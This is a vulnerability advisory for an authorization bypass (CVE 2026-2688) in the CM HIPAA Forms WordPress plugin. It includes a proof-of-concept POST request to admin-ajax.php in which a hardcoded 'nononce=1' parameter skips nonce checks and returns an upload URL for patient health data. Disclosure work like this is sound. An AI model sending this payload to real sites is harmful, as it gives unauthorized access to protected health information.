CM HIPAA Forms < 3.2.0 – Unauthenticated Authorization Bypass | CVE 2026-2688

Description

The plugin contains a hardcoded authentication bypass via a hardcoded parameter alongside all AJAX requests. The server explicitly checks for this value to skip nonce validation entirely. This allows unauthenticated attackers to access protected AJAX endpoints.

Proof of Concept

Bypass confirmed — nononce=1 returns HTTP 200 with valid data, nononce=0 returns "Nonce expired" error:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

action=cm_hipaa_get_file_upload_url&formId=1&nononce=1
```

Response: HTTP 200 — returns AWS S3 pre-signed URL for patient PHI upload

Same request with nononce=0:

Response: HTTP 200 — {"success":false,"data":"Nonce expired, please refresh the page"}

Root cause confirmed in plugin source js/script.js — nononce: '1' hardcoded across 6+ AJAX calls:

- cm_hipaa_validate_account
- cm_hipaa_get_file_upload_url  
- cm_hipaa_submit_caldera_form
- cm_hipaa_submit_gravity_form

Legitimate nonce (cmHipaaScript.nonce) is generated and sent alongside the bypass on every call, confirming bypass is forgotten development code, not intentional design.